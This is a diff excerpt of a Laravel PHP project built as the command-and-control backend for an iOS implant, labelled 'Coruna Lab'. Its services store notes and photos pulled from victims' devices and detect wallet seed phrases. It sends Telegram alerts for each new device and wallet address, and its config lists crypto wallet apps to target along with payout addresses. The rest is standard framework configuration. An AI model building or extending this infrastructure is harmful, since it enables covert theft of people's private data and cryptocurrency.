||||
public function ingestNotes(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
$notes = $payload['notes'] ?? $payload['data'] ?? $payload['result'] ?? null;
|
||||
if (! is_array($notes)) {
|
||||
Note::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'title' => 'raw',
|
||||
'body' => null,
|
||||
'meta_json' => $payload,
|
||||
]);
|
||||
|
||||
return;
|
||||
}
|
||||
$list = array_is_list($notes) ? $notes : [$notes];
|
||||
foreach ($list as $note) {
|
||||
if (! is_array($note)) {
|
||||
continue;
|
||||
}
|
||||
Note::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'title' => $note['title'] ?? $note['name'] ?? null,
|
||||
'body' => $note['body'] ?? $note['content'] ?? $note['text'] ?? null,
|
||||
'meta_json' => $note,
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
public function ingestPhotos(Device $device, array $filePaths, ?array $counters = null): void
|
||||
{
|
||||
foreach ($filePaths as $path) {
|
||||
if (! is_file($path)) {
|
||||
continue;
|
||||
}
|
||||
$bytes = file_get_contents($path);
|
||||
$sha = hash('sha256', $bytes);
|
||||
$rel = 'c2/photos/'.$device->device_id.'/'.$sha.'_'.basename($path);
|
||||
Storage::disk('local')->put($rel, $bytes);
|
||||
Photo::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'sha256' => $sha,
|
||||
'path' => $rel,
|
||||
'size' => strlen($bytes),
|
||||
'counters_json' => $counters,
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
private function extractDeviceModel(?array $payload): ?string
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return null;
|
||||
}
|
||||
foreach (['deviceModel'] as $key) {
|
||||
if (! empty($payload[$key]) && is_string($payload[$key])) {
|
||||
return $payload[$key];
|
||||
}
|
||||
}
|
||||
// avatar/put often sends short model as `m` (e.g. iPhone9,1)
|
||||
if (! empty($payload['m']) && is_string($payload['m']) && preg_match('/^[A-Za-z]+\d/', $payload['m'])) {
|
||||
return $payload['m'];
|
||||
}
|
||||
$info = $payload['deviceInfo'] ?? null;
|
||||
if (is_array($info)) {
|
||||
foreach (['productType', 'machine', 'model'] as $key) {
|
||||
if (! empty($info[$key]) && is_string($info[$key])) {
|
||||
return $info[$key];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function extractIosVersion(?array $payload): ?string
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return null;
|
||||
}
|
||||
// /api/user/get uses `v` for iOS version
|
||||
if (! empty($payload['v']) && is_string($payload['v']) && preg_match('/^\d+(\.\d+){1,3}$/', $payload['v'])) {
|
||||
return $payload['v'];
|
||||
}
|
||||
foreach (['pv', 'ios', 'ios_version', 'os', 'ver'] as $key) {
|
||||
if (! empty($payload[$key]) && is_string($payload[$key])) {
|
||||
return $payload[$key];
|
||||
}
|
||||
}
|
||||
$sv = $payload['systemVersion'] ?? null;
|
||||
if (is_array($sv) && ! empty($sv['ProductVersion']) && is_string($sv['ProductVersion'])) {
|
||||
return $sv['ProductVersion'];
|
||||
}
|
||||
if (is_string($sv) && $sv !== '') {
|
||||
return $sv;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function looksLikeMnemonic(string $value): bool
|
||||
{
|
||||
$words = preg_split('/\s+/', trim($value)) ?: [];
|
||||
|
||||
return in_array(count($words), [12, 15, 18, 21, 24], true)
|
||||
&& (bool) preg_match('/^[a-z]+(?:\s+[a-z]+)+$/i', trim($value));
|
||||
}
|
||||
|
||||
private function normalizeAddressRows(array $data): array
|
||||
{
|
||||
if (array_is_list($data)) {
|
||||
return array_values(array_filter($data, 'is_array'));
|
||||
}
|
||||
if (isset($data['address'])) {
|
||||
return [$data];
|
||||
}
|
||||
$out = [];
|
||||
foreach ($data as $value) {
|
||||
if (is_array($value) && isset($value['address'])) {
|
||||
$out[] = $value;
|
||||
}
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,60 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
class TelegramNotifier
|
||||
{
|
||||
public function enabled(): bool
|
||||
{
|
||||
return (bool) (config('coruna.telegram.bot_token') && config('coruna.telegram.owner_chat_id'));
|
||||
}
|
||||
|
||||
public function send(string $text): bool
|
||||
{
|
||||
if (! $this->enabled()) {
|
||||
return false;
|
||||
}
|
||||
$token = config('coruna.telegram.bot_token');
|
||||
$chatId = config('coruna.telegram.owner_chat_id');
|
||||
try {
|
||||
$resp = Http::timeout(15)->asForm()->post(
|
||||
"https://api.telegram.org/bot{$token}/sendMessage",
|
||||
[
|
||||
'chat_id' => $chatId,
|
||||
'text' => $text,
|
||||
'disable_web_page_preview' => true,
|
||||
]
|
||||
);
|
||||
|
||||
return $resp->successful();
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('telegram send failed: '.$e->getMessage());
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public function notifyNewDevice(string $deviceId, ?string $ios, ?string $ip): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'[Coruna Lab] New device',
|
||||
'id: '.$deviceId,
|
||||
'ios: '.($ios ?: '—'),
|
||||
'ip: '.($ip ?: '—'),
|
||||
]));
|
||||
}
|
||||
|
||||
public function notifyNewWallet(string $deviceId, string $address, ?string $chain, ?string $balance, ?string $symbol): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'[Coruna Lab] New wallet address',
|
||||
'device: '.$deviceId,
|
||||
'chain: '.($chain ?: '—'),
|
||||
'address: '.$address,
|
||||
'balance: '.trim(($balance ?: '—').' '.($symbol ?: '')),
|
||||
]));
|
||||
}
|
||||
}
|
||||
Executable
+18
@@ -0,0 +1,18 @@
|
||||
#!/usr/bin/env php
|
||||
<?php
|
||||
|
||||
use Illuminate\Foundation\Application;
|
||||
use Symfony\Component\Console\Input\ArgvInput;
|
||||
|
||||
define('LARAVEL_START', microtime(true));
|
||||
|
||||
// Register the Composer autoloader...
|
||||
require __DIR__.'/vendor/autoload.php';
|
||||
|
||||
// Bootstrap Laravel and handle the command...
|
||||
/** @var Application $app */
|
||||
$app = require_once __DIR__.'/bootstrap/app.php';
|
||||
|
||||
$status = $app->handleCommand(new ArgvInput);
|
||||
|
||||
exit($status);
|
||||
@@ -0,0 +1,33 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Foundation\Application;
|
||||
use Illuminate\Foundation\Configuration\Exceptions;
|
||||
use Illuminate\Foundation\Configuration\Middleware;
|
||||
use Illuminate\Support\Facades\Route;
|
||||
|
||||
return Application::configure(basePath: dirname(__DIR__))
|
||||
->withRouting(
|
||||
web: __DIR__.'/../routes/web.php',
|
||||
then: function () {
|
||||
// Implant C2: no CSRF / session
|
||||
require __DIR__.'/../routes/c2.php';
|
||||
|
||||
// Admin UI: session + CSRF
|
||||
Route::middleware('web')->group(base_path('routes/admin.php'));
|
||||
},
|
||||
commands: __DIR__.'/../routes/console.php',
|
||||
health: '/up',
|
||||
)
|
||||
->withMiddleware(function (Middleware $middleware): void {
|
||||
$middleware->validateCsrfTokens(except: [
|
||||
'api/*',
|
||||
'link/*',
|
||||
]);
|
||||
|
||||
// Admin uses auth:admin; there is no default "login" route.
|
||||
$middleware->redirectGuestsTo(fn () => route('admin.login'));
|
||||
$middleware->redirectUsersTo(fn () => route('admin.home'));
|
||||
})
|
||||
->withExceptions(function (Exceptions $exceptions): void {
|
||||
//
|
||||
})->create();
|
||||
@@ -0,0 +1,2 @@
|
||||
*
|
||||
!.gitignore
|
||||
@@ -0,0 +1,7 @@
|
||||
<?php
|
||||
|
||||
use App\Providers\AppServiceProvider;
|
||||
|
||||
return [
|
||||
AppServiceProvider::class,
|
||||
];
|
||||
@@ -0,0 +1,90 @@
|
||||
{
|
||||
"$schema": "https://getcomposer.org/schema.json",
|
||||
"name": "laravel/laravel",
|
||||
"type": "project",
|
||||
"description": "The skeleton application for the Laravel framework.",
|
||||
"keywords": ["laravel", "framework"],
|
||||
"license": "MIT",
|
||||
"require": {
|
||||
"php": "^8.2",
|
||||
"guzzlehttp/guzzle": "^7.15",
|
||||
"laravel/framework": "^12.0",
|
||||
"laravel/tinker": "^2.10.1"
|
||||
},
|
||||
"require-dev": {
|
||||
"fakerphp/faker": "^1.23",
|
||||
"laravel/pail": "^1.2.2",
|
||||
"laravel/pint": "^1.24",
|
||||
"laravel/sail": "^1.41",
|
||||
"mockery/mockery": "^1.6",
|
||||
"nunomaduro/collision": "^8.6",
|
||||
"phpunit/phpunit": "^11.5.50"
|
||||
},
|
||||
"autoload": {
|
||||
"psr-4": {
|
||||
"App\\": "app/",
|
||||
"Database\\Factories\\": "database/factories/",
|
||||
"Database\\Seeders\\": "database/seeders/"
|
||||
},
|
||||
"files": [
|
||||
"app/Helpers.php"
|
||||
]
|
||||
},
|
||||
"autoload-dev": {
|
||||
"psr-4": {
|
||||
"Tests\\": "tests/"
|
||||
}
|
||||
},
|
||||
"scripts": {
|
||||
"setup": [
|
||||
"composer install",
|
||||
"@php -r \"file_exists('.env') || copy('.env.example', '.env');\"",
|
||||
"@php artisan key:generate",
|
||||
"@php artisan migrate --force",
|
||||
"npm install",
|
||||
"npm run build"
|
||||
],
|
||||
"dev": [
|
||||
"Composer\\Config::disableProcessTimeout",
|
||||
"npx concurrently -c \"#93c5fd,#c4b5fd,#fb7185,#fdba74\" \"php artisan serve\" \"php artisan queue:listen --tries=1 --timeout=0\" \"php artisan pail --timeout=0\" \"npm run dev\" --names=server,queue,logs,vite --kill-others"
|
||||
],
|
||||
"test": [
|
||||
"@php artisan config:clear --ansi",
|
||||
"@php artisan test"
|
||||
],
|
||||
"post-autoload-dump": [
|
||||
"Illuminate\\Foundation\\ComposerScripts::postAutoloadDump",
|
||||
"@php artisan package:discover --ansi"
|
||||
],
|
||||
"post-update-cmd": [
|
||||
"@php artisan vendor:publish --tag=laravel-assets --ansi --force"
|
||||
],
|
||||
"post-root-package-install": [
|
||||
"@php -r \"file_exists('.env') || copy('.env.example', '.env');\""
|
||||
],
|
||||
"post-create-project-cmd": [
|
||||
"@php artisan key:generate --ansi",
|
||||
"@php -r \"file_exists('database/database.sqlite') || touch('database/database.sqlite');\"",
|
||||
"@php artisan migrate --graceful --ansi"
|
||||
],
|
||||
"pre-package-uninstall": [
|
||||
"Illuminate\\Foundation\\ComposerScripts::prePackageUninstall"
|
||||
]
|
||||
},
|
||||
"extra": {
|
||||
"laravel": {
|
||||
"dont-discover": []
|
||||
}
|
||||
},
|
||||
"config": {
|
||||
"optimize-autoloader": true,
|
||||
"preferred-install": "dist",
|
||||
"sort-packages": true,
|
||||
"allow-plugins": {
|
||||
"pestphp/pest-plugin": true,
|
||||
"php-http/discovery": true
|
||||
}
|
||||
},
|
||||
"minimum-stability": "stable",
|
||||
"prefer-stable": true
|
||||
}
|
||||
Generated
+8389
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,126 @@
|
||||
<?php
|
||||
|
||||
return [
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Application Name
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| This value is the name of your application, which will be used when the
|
||||
| framework needs to place the application's name in a notification or
|
||||
| other UI elements where an application name needs to be displayed.
|
||||
|
|
||||
*/
|
||||
|
||||
'name' => env('APP_NAME', 'Laravel'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Application Environment
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| This value determines the "environment" your application is currently
|
||||
| running in. This may determine how you prefer to configure various
|
||||
| services the application utilizes. Set this in your ".env" file.
|
||||
|
|
||||
*/
|
||||
|
||||
'env' => env('APP_ENV', 'production'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Application Debug Mode
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| When your application is in debug mode, detailed error messages with
|
||||
| stack traces will be shown on every error that occurs within your
|
||||
| application. If disabled, a simple generic error page is shown.
|
||||
|
|
||||
*/
|
||||
|
||||
'debug' => (bool) env('APP_DEBUG', false),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Application URL
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| This URL is used by the console to properly generate URLs when using
|
||||
| the Artisan command line tool. You should set this to the root of
|
||||
| the application so that it's available within Artisan commands.
|
||||
|
|
||||
*/
|
||||
|
||||
'url' => env('APP_URL', 'http://localhost'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Application Timezone
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Here you may specify the default timezone for your application, which
|
||||
| will be used by the PHP date and date-time functions. The timezone
|
||||
| is set to "UTC" by default as it is suitable for most use cases.
|
||||
|
|
||||
*/
|
||||
|
||||
'timezone' => 'UTC',
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Application Locale Configuration
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| The application locale determines the default locale that will be used
|
||||
| by Laravel's translation / localization methods. This option can be
|
||||
| set to any locale for which you plan to have translation strings.
|
||||
|
|
||||
*/
|
||||
|
||||
'locale' => env('APP_LOCALE', 'en'),
|
||||
|
||||
'fallback_locale' => env('APP_FALLBACK_LOCALE', 'en'),
|
||||
|
||||
'faker_locale' => env('APP_FAKER_LOCALE', 'en_US'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Encryption Key
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| This key is utilized by Laravel's encryption services and should be set
|
||||
| to a random, 32 character string to ensure that all encrypted values
|
||||
| are secure. You should do this prior to deploying the application.
|
||||
|
|
||||
*/
|
||||
|
||||
'cipher' => 'AES-256-CBC',
|
||||
|
||||
'key' => env('APP_KEY'),
|
||||
|
||||
'previous_keys' => [
|
||||
...array_filter(
|
||||
explode(',', (string) env('APP_PREVIOUS_KEYS', ''))
|
||||
),
|
||||
],
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Maintenance Mode Driver
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| These configuration options determine the driver used to determine and
|
||||
| manage Laravel's "maintenance mode" status. The "cache" driver will
|
||||
| allow maintenance mode to be controlled across multiple machines.
|
||||
|
|
||||
| Supported drivers: "file", "cache"
|
||||
|
|
||||
*/
|
||||
|
||||
'maintenance' => [
|
||||
'driver' => env('APP_MAINTENANCE_DRIVER', 'file'),
|
||||
'store' => env('APP_MAINTENANCE_STORE', 'database'),
|
||||
],
|
||||
|
||||
];
|
||||
@@ -0,0 +1,121 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Admin;
|
||||
use App\Models\User;
|
||||
|
||||
return [
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Authentication Defaults
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| This option defines the default authentication "guard" and password
|
||||
| reset "broker" for your application. You may change these values
|
||||
| as required, but they're a perfect start for most applications.
|
||||
|
|
||||
*/
|
||||
|
||||
'defaults' => [
|
||||
'guard' => env('AUTH_GUARD', 'web'),
|
||||
'passwords' => env('AUTH_PASSWORD_BROKER', 'users'),
|
||||
],
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Authentication Guards
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Next, you may define every authentication guard for your application.
|
||||
| Of course, a great default configuration has been defined for you
|
||||
| which utilizes session storage plus the Eloquent user provider.
|
||||
|
|
||||
| All authentication guards have a user provider, which defines how the
|
||||
| users are actually retrieved out of your database or other storage
|
||||
| system used by the application. Typically, Eloquent is utilized.
|
||||
|
|
||||
| Supported: "session"
|
||||
|
|
||||
*/
|
||||
|
||||
'guards' => [
|
||||
'web' => [
|
||||
'driver' => 'session',
|
||||
'provider' => 'users',
|
||||
],
|
||||
'admin' => [
|
||||
'driver' => 'session',
|
||||
'provider' => 'admins',
|
||||
],
|
||||
],
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| User Providers
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| All authentication guards have a user provider, which defines how the
|
||||
| users are actually retrieved out of your database or other storage
|
||||
| system used by the application. Typically, Eloquent is utilized.
|
||||
|
|
||||
| If you have multiple user tables or models you may configure multiple
|
||||
| providers to represent the model / table. These providers may then
|
||||
| be assigned to any extra authentication guards you have defined.
|
||||
|
|
||||
| Supported: "database", "eloquent"
|
||||
|
|
||||
*/
|
||||
|
||||
'providers' => [
|
||||
'users' => [
|
||||
'driver' => 'eloquent',
|
||||
'model' => env('AUTH_MODEL', User::class),
|
||||
],
|
||||
'admins' => [
|
||||
'driver' => 'eloquent',
|
||||
'model' => Admin::class,
|
||||
],
|
||||
],
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Resetting Passwords
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| These configuration options specify the behavior of Laravel's password
|
||||
| reset functionality, including the table utilized for token storage
|
||||
| and the user provider that is invoked to actually retrieve users.
|
||||
|
|
||||
| The expiry time is the number of minutes that each reset token will be
|
||||
| considered valid. This security feature keeps tokens short-lived so
|
||||
| they have less time to be guessed. You may change this as needed.
|
||||
|
|
||||
| The throttle setting is the number of seconds a user must wait before
|
||||
| generating more password reset tokens. This prevents the user from
|
||||
| quickly generating a very large amount of password reset tokens.
|
||||
|
|
||||
*/
|
||||
|
||||
'passwords' => [
|
||||
'users' => [
|
||||
'provider' => 'users',
|
||||
'table' => env('AUTH_PASSWORD_RESET_TOKEN_TABLE', 'password_reset_tokens'),
|
||||
'expire' => 60,
|
||||
'throttle' => 60,
|
||||
],
|
||||
],
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Password Confirmation Timeout
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Here you may define the number of seconds before a password confirmation
|
||||
| window expires and users are asked to re-enter their password via the
|
||||
| confirmation screen. By default, the timeout lasts for three hours.
|
||||
|
|
||||
*/
|
||||
|
||||
'password_timeout' => env('AUTH_PASSWORD_TIMEOUT', 10800),
|
||||
|
||||
];
|
||||
@@ -0,0 +1,117 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Support\Str;
|
||||
|
||||
return [
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Default Cache Store
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| This option controls the default cache store that will be used by the
|
||||
| framework. This connection is utilized if another isn't explicitly
|
||||
| specified when running a cache operation inside the application.
|
||||
|
|
||||
*/
|
||||
|
||||
'default' => env('CACHE_STORE', 'database'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Cache Stores
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Here you may define all of the cache "stores" for your application as
|
||||
| well as their drivers. You may even define multiple stores for the
|
||||
| same cache driver to group types of items stored in your caches.
|
||||
|
|
||||
| Supported drivers: "array", "database", "file", "memcached",
|
||||
| "redis", "dynamodb", "octane",
|
||||
| "failover", "null"
|
||||
|
|
||||
*/
|
||||
|
||||
'stores' => [
|
||||
|
||||
'array' => [
|
||||
'driver' => 'array',
|
||||
'serialize' => false,
|
||||
],
|
||||
|
||||
'database' => [
|
||||
'driver' => 'database',
|
||||
'connection' => env('DB_CACHE_CONNECTION'),
|
||||
'table' => env('DB_CACHE_TABLE', 'cache'),
|
||||
'lock_connection' => env('DB_CACHE_LOCK_CONNECTION'),
|
||||
'lock_table' => env('DB_CACHE_LOCK_TABLE'),
|
||||
],
|
||||
|
||||
'file' => [
|
||||
'driver' => 'file',
|
||||
'path' => storage_path('framework/cache/data'),
|
||||
'lock_path' => storage_path('framework/cache/data'),
|
||||
],
|
||||
|
||||
'memcached' => [
|
||||
'driver' => 'memcached',
|
||||
'persistent_id' => env('MEMCACHED_PERSISTENT_ID'),
|
||||
'sasl' => [
|
||||
env('MEMCACHED_USERNAME'),
|
||||
env('MEMCACHED_PASSWORD'),
|
||||
],
|
||||
'options' => [
|
||||
// Memcached::OPT_CONNECT_TIMEOUT => 2000,
|
||||
],
|
||||
'servers' => [
|
||||
[
|
||||
'host' => env('MEMCACHED_HOST', '127.0.0.1'),
|
||||
'port' => env('MEMCACHED_PORT', 11211),
|
||||
'weight' => 100,
|
||||
],
|
||||
],
|
||||
],
|
||||
|
||||
'redis' => [
|
||||
'driver' => 'redis',
|
||||
'connection' => env('REDIS_CACHE_CONNECTION', 'cache'),
|
||||
'lock_connection' => env('REDIS_CACHE_LOCK_CONNECTION', 'default'),
|
||||
],
|
||||
|
||||
'dynamodb' => [
|
||||
'driver' => 'dynamodb',
|
||||
'key' => env('AWS_ACCESS_KEY_ID'),
|
||||
'secret' => env('AWS_SECRET_ACCESS_KEY'),
|
||||
'region' => env('AWS_DEFAULT_REGION', 'us-east-1'),
|
||||
'table' => env('DYNAMODB_CACHE_TABLE', 'cache'),
|
||||
'endpoint' => env('DYNAMODB_ENDPOINT'),
|
||||
],
|
||||
|
||||
'octane' => [
|
||||
'driver' => 'octane',
|
||||
],
|
||||
|
||||
'failover' => [
|
||||
'driver' => 'failover',
|
||||
'stores' => [
|
||||
'database',
|
||||
'array',
|
||||
],
|
||||
],
|
||||
|
||||
],
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Cache Key Prefix
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| When utilizing the APC, database, memcached, Redis, and DynamoDB cache
|
||||
| stores, there might be other applications using the same cache. For
|
||||
| that reason, you may prefix every cache key to avoid collisions.
|
||||
|
|
||||
*/
|
||||
|
||||
'prefix' => env('CACHE_PREFIX', Str::slug((string) env('APP_NAME', 'laravel')).'-cache-'),
|
||||
|
||||
];
|
||||
@@ -0,0 +1,38 @@
|
||||
<?php
|
||||
|
||||
return [
|
||||
'session_key' => env('CORUNA_SESSION_KEY'), // optional override; empty = derive(seed=0)
|
||||
'seven_zip' => env('CORUNA_7Z_BIN', '/opt/homebrew/opt/p7zip/bin/7z'),
|
||||
'telegram' => [
|
||||
'bot_token' => env('TELEGRAM_BOT_TOKEN'),
|
||||
'owner_chat_id' => env('TELEGRAM_OWNER_CHAT_ID'),
|
||||
],
|
||||
// reserved — no transfer logic wired
|
||||
'payout' => [
|
||||
'eth' => env('PAYOUT_ETH'),
|
||||
'btc' => env('PAYOUT_BTC'),
|
||||
'tron' => env('PAYOUT_TRON'),
|
||||
'sol' => env('PAYOUT_SOL'),
|
||||
],
|
||||
'wallet_bundles' => [
|
||||
'im.token.app',
|
||||
'io.metamask',
|
||||
'com.wallet.crypto.trustapp',
|
||||
'com.okex.wallet',
|
||||
'com.coinbase.wallet',
|
||||
'com.exodus',
|
||||
'app.phantom',
|
||||
'com.uniswap.mobile',
|
||||
'com.tronlinkpro.wallet',
|
||||
'com.mytonwallet.app',
|
||||
'com.tonhub.app',
|
||||
'com.tonkeeper.app',
|
||||
'vip.mytokenpocket',
|
||||
'com.bitkeep.wallet',
|
||||
'com.bitpie',
|
||||
'com.coin98',
|
||||
'com.solflare.mobile',
|
||||
'com.roninchain.wallet',
|
||||
'com.krystal.wallet',
|
||||
],
|
||||
];
|
||||
@@ -0,0 +1,184 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Support\Str;
|
||||
use Pdo\Mysql;
|
||||
|
||||
return [
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Default Database Connection Name
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Here you may specify which of the database connections below you wish
|
||||
| to use as your default connection for database operations. This is
|
||||
| the connection which will be utilized unless another connection
|
||||
| is explicitly specified when you execute a query / statement.
|
||||
|
|
||||
*/
|
||||
|
||||
'default' => env('DB_CONNECTION', 'sqlite'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Database Connections
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Below are all of the database connections defined for your application.
|
||||
| An example configuration is provided for each database system which
|
||||
| is supported by Laravel. You're free to add / remove connections.
|
||||
|
|
||||
*/
|
||||
|
||||
'connections' => [
|
||||
|
||||
'sqlite' => [
|
||||
'driver' => 'sqlite',
|
||||
'url' => env('DB_URL'),
|
||||
'database' => env('DB_DATABASE', database_path('database.sqlite')),
|
||||
'prefix' => '',
|
||||
'foreign_key_constraints' => env('DB_FOREIGN_KEYS', true),
|
||||
'busy_timeout' => null,
|
||||
'journal_mode' => null,
|
||||
'synchronous' => null,
|
||||
'transaction_mode' => 'DEFERRED',
|
||||
],
|
||||
|
||||
'mysql' => [
|
||||
'driver' => 'mysql',
|
||||
'url' => env('DB_URL'),
|
||||
'host' => env('DB_HOST', '127.0.0.1'),
|
||||
'port' => env('DB_PORT', '3306'),
|
||||
'database' => env('DB_DATABASE', 'laravel'),
|
||||
'username' => env('DB_USERNAME', 'root'),
|
||||
'password' => env('DB_PASSWORD', ''),
|
||||
'unix_socket' => env('DB_SOCKET', ''),
|
||||
'charset' => env('DB_CHARSET', 'utf8mb4'),
|
||||
'collation' => env('DB_COLLATION', 'utf8mb4_unicode_ci'),
|
||||
'prefix' => '',
|
||||
'prefix_indexes' => true,
|
||||
'strict' => true,
|
||||
'engine' => null,
|
||||
'options' => extension_loaded('pdo_mysql') ? array_filter([
|
||||
(PHP_VERSION_ID >= 80500 ? Mysql::ATTR_SSL_CA : PDO::MYSQL_ATTR_SSL_CA) => env('MYSQL_ATTR_SSL_CA'),
|
||||
]) : [],
|
||||
],
|
||||
|
||||
'mariadb' => [
|
||||
'driver' => 'mariadb',
|
||||
'url' => env('DB_URL'),
|
||||
'host' => env('DB_HOST', '127.0.0.1'),
|
||||
'port' => env('DB_PORT', '3306'),
|
||||
'database' => env('DB_DATABASE', 'laravel'),
|
||||
'username' => env('DB_USERNAME', 'root'),
|
||||
'password' => env('DB_PASSWORD', ''),
|
||||
'unix_socket' => env('DB_SOCKET', ''),
|
||||
'charset' => env('DB_CHARSET', 'utf8mb4'),
|
||||
'collation' => env('DB_COLLATION', 'utf8mb4_unicode_ci'),
|
||||
'prefix' => '',
|
||||
'prefix_indexes' => true,
|
||||
'strict' => true,
|
||||
'engine' => null,
|
||||
'options' => extension_loaded('pdo_mysql') ? array_filter([
|
||||
(PHP_VERSION_ID >= 80500 ? Mysql::ATTR_SSL_CA : PDO::MYSQL_ATTR_SSL_CA) => env('MYSQL_ATTR_SSL_CA'),
|
||||
]) : [],
|
||||
],
|
||||
|
||||
'pgsql' => [
|
||||
'driver' => 'pgsql',
|
||||
'url' => env('DB_URL'),
|
||||
'host' => env('DB_HOST', '127.0.0.1'),
|
||||
'port' => env('DB_PORT', '5432'),
|
||||
'database' => env('DB_DATABASE', 'laravel'),
|
||||
'username' => env('DB_USERNAME', 'root'),
|
||||
'password' => env('DB_PASSWORD', ''),
|
||||
'charset' => env('DB_CHARSET', 'utf8'),
|
||||
'prefix' => '',
|
||||
'prefix_indexes' => true,
|
||||
'search_path' => 'public',
|
||||
'sslmode' => env('DB_SSLMODE', 'prefer'),
|
||||
],
|
||||
|
||||
'sqlsrv' => [
|
||||
'driver' => 'sqlsrv',
|
||||
'url' => env('DB_URL'),
|
||||
'host' => env('DB_HOST', 'localhost'),
|
||||
'port' => env('DB_PORT', '1433'),
|
||||
'database' => env('DB_DATABASE', 'laravel'),
|
||||
'username' => env('DB_USERNAME', 'root'),
|
||||
'password' => env('DB_PASSWORD', ''),
|
||||
'charset' => env('DB_CHARSET', 'utf8'),
|
||||
'prefix' => '',
|
||||
'prefix_indexes' => true,
|
||||
// 'encrypt' => env('DB_ENCRYPT', 'yes'),
|
||||
// 'trust_server_certificate' => env('DB_TRUST_SERVER_CERTIFICATE', 'false'),
|
||||
],
|
||||
|
||||
],
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Migration Repository Table
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| This table keeps track of all the migrations that have already run for
|
||||
| your application. Using this information, we can determine which of
|
||||
| the migrations on disk haven't actually been run on the database.
|
||||
|
|
||||
*/
|
||||
|
||||
'migrations' => [
|
||||
'table' => 'migrations',
|
||||
'update_date_on_publish' => true,
|
||||
],
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Redis Databases
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Redis is an open source, fast, and advanced key-value store that also
|
||||
| provides a richer body of commands than a typical key-value system
|
||||
| such as Memcached. You may define your connection settings here.
|
||||
|
|
||||
*/
|
||||
|
||||
'redis' => [
|
||||
|
||||
'client' => env('REDIS_CLIENT', 'phpredis'),
|
||||
|
||||
'options' => [
|
||||
'cluster' => env('REDIS_CLUSTER', 'redis'),
|
||||
'prefix' => env('REDIS_PREFIX', Str::slug((string) env('APP_NAME', 'laravel')).'-database-'),
|
||||
'persistent' => env('REDIS_PERSISTENT', false),
|
||||
],
|
||||
|
||||
'default' => [
|
||||
'url' => env('REDIS_URL'),
|
||||
'host' => env('REDIS_HOST', '127.0.0.1'),
|
||||
'username' => env('REDIS_USERNAME'),
|
||||
'password' => env('REDIS_PASSWORD'),
|
||||
'port' => env('REDIS_PORT', '6379'),
|
||||
'database' => env('REDIS_DB', '0'),
|
||||
'max_retries' => env('REDIS_MAX_RETRIES', 3),
|
||||
'backoff_algorithm' => env('REDIS_BACKOFF_ALGORITHM', 'decorrelated_jitter'),
|
||||
